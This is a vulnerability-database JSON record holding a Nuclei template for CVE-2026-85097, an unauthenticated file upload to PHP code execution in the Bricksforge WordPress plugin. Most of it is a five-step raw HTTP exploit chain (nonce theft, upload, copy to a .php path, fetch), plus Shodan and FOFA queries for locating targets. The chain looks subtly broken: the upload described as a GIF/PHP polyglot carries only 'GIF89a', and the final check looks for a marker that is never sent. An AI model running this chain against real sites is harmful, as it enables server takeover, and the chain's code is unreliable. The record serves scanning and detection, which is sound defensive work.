{ "_links": { "capec": { "href": "/api/v1/vulnerability/cve-2026-85097/capec" }, "cvss": { "href": "/api/v1/vulnerability/cve-2026-85097/cvss" }, "cwe": { "href": "/api/v1/vulnerability/cve-2026-85097/cwe" }, "enrichment": { "href": "/api/v1/vulnerability/cve-2026-85097/enrichment" }, "gcve": { "href": "/api/v1/vulnerability/cve-2026-85097/gcve" }, "self": { "href": "/api/v1/vulnerability/cve-2026-85097" }, "sightings": { "href": "/api/v1/sightings/cve-2026-85097" } }, "data": { "nuclei": true, "nuclei_template": "http/cves/2026/CVE-2026-85097.yaml", "nuclei_template_severity": "critical", "nuclei_template_yaml": "id: CVE-2026-85097\n\ninfo:\n name: Bricksforge WordPress Plugin <=3.1.8.9 - Unauthenticated Arbitrary File Upload\n author: DhiyaneshDk\n severity: critical\n description: |\n Bricksforge WordPress plugin versions up to and including 3.1.8.9 are vulnerable to unauthenticated arbitrary file upload leading to remote code execution. An attacker obtains a wp_rest nonce via the bricksforge_regenerate_nonce AJAX action, uploads a GIF/PHP polyglot through the form_file_upload REST endpoint with the nonce in the X-WP-Nonce header, then triggers form_submit to copy the file to the WordPress media uploads directory where it executes as PHP. Requires a published Bricks Pro Form with a file field on the target; the post_id, form_id, and field_id template variables must be set accordingly.\n impact: |\n An unauthenticated attacker can upload and execute arbitrary PHP code on the web server, leading to full server compromise.\n remediation:\n Update Bricksforge to version 3.1.8.10, 4.0.1, or later.\n reference:\n - https://nvd.nist.gov/vuln/detail/CVE-2026-85097\n - https://github.com/BlackHatExploitation/CVE-2026-85097\n - https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-85097\n epss-score: 0.03287\n epss-percentile: 0.88511\n cwe-id: CWE-434\n metadata:\n verified: true\n max-request: 5\n vendor: bricksforge\n product: bricksforge\n framework: wordpress\n shodan-query: 'http.html:\"wp-content/plugins/bricksforge\"'\n fofa-query: 'body=\"wp-content/plugins/bricksforge\"'\n tags: cve,cve2026,wordpress,wp-plugin,bricksforge,file-upload,rce,unauth,intrusive,vkev\n\nvariables:\n marker: \"{{rand_text_alpha(12)}}\"\n probe: \"{{rand_text_alpha(8)}}\"\n gif_name: \"{{rand_text_alpha(8)}}\"\n post_id: \"6\"\n form_id: \"frmaaa\"\n field_id: \"file\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n - raw:\n - |\n GET /wp-content/plugins/bricksforge/README.txt HTTP/1.1\n Host: {{Hostname}}\n\n - |\n GET /wp-content/plugins/bricksforge/readme.txt HTTP/1.1\n Host: {{Hostname}}\n\n stop-at-first-match: true\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"bricksforge\"\n case-insensitive: true\n internal: true\n\n - type: status\n status:\n - 200\n internal: true\n\n extractors:\n - type: regex\n name: bf_version\n part: body\n regex:\n - 'Stable tag:\\s*([0-9.]+)'\n group: 1\n internal: true\n\n - raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n X-Requested-With: XMLHttpRequest\n\n action=bricksforge_regenerate_nonce\n\n matchers:\n - type: status\n status:\n - 200\n internal: true\n\n extractors:\n - type: json\n name: bf_nonce\n part: body\n json:\n - \".data.nonce\"\n internal: true\n\n - raw:\n - |\n POST /wp-json/bricksforge/v1/form_file_upload HTTP/1.1\n Host: {{Hostname}}\n X-WP-Nonce: {{bf_nonce}}\n Content-Type: multipart/form-data; boundary=BFProbeUpload7391625\n\n --BFProbeUpload7391625\n Content-Disposition: form-data; name=\"file[]\"; filename=\"{{gif_name}}.gif\"\n Content-Type: image/gif\n\n GIF89a\n --BFProbeUpload7391625--\n\n matchers:\n - type: regex\n part: body\n regex:\n - '\"file\"\\s*:\\s*\"((?:\\\\/|/)[^\"]+\\.gif)\"'\n internal: true\n\n extractors:\n - type: regex\n name: tmp_file_path\n part: body\n regex:\n - '\"file\"\\s*:\\s*\"((?:\\\\/|/)[^\"]+\\.gif)\"'\n group: 1\n internal: true\n\n - raw:\n - |\n POST /wp-json/bricksforge/v1/form_submit HTTP/1.1\n Host: {{Hostname}}\n X-WP-Nonce: {{bf_nonce}}\n Content-Type: application/x-www-form-urlencoded\n\n postId={{post_id}}&formId={{form_id}}&formIdFallback={{form_id}}&fieldIds=%7B%22{{field_id}}%22%3A%22{{field_id}}%22%7D&temporaryFileUploads=%5B%7B%22field%22%3A%22form-field-{{field_id}}%22%2C%22file%22%3A%7B%22file%22%3A%22{{tmp_file_path}}%22%2C%22url%22%3A%22{{Scheme}}%3A%2F%2F{{Hostname}}%2Fwp-content%2Fuploads%2Fbricksforge%2Ftmp%2F{{probe}}.php%22%2C%22type%22%3A%22image%2Fgif%22%7D%7D%5D&form-field-{{field_id}}=\n\n matchers:\n - type: status\n status:\n - 200\n internal: true\n\n extractors:\n - type: regex\n name: up_year\n part: body\n regex:\n - 'uploads\\\\?/(\\d{4})\\\\?/\\d{2}\\\\?/[^\"\\\\]*\\.php'\n group: 1\n internal: true\n\n - type: regex\n name: up_month\n part: body\n regex:\n - 'uploads\\\\?/\\d{4}\\\\?/(\\d{2})\\\\?/[^\"\\\\]*\\.php'\n group: 1\n internal: true\n\n - raw:\n - |\n GET /wp-content/uploads/{{up_year}}/{{up_month}}/{{probe}}.php HTTP/1.1\n Host: {{Hostname}}\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"{{marker}}\"\n\n - type: status\n status:\n - 200\n# digest: 4b0a00483046022100a07a2c57324d13c64c97f2835638087a693e27c3fe7257ab2ceb14eeec28cb9a022100b77a3615d2f4055ae5b3aed505a20d58a9adae01d12b0b6837c0578b358da4d1:922c64590222798bb761d5b6d8e72950" }, "source": "nuclei", "vuln_id": "cve-2026-85097" }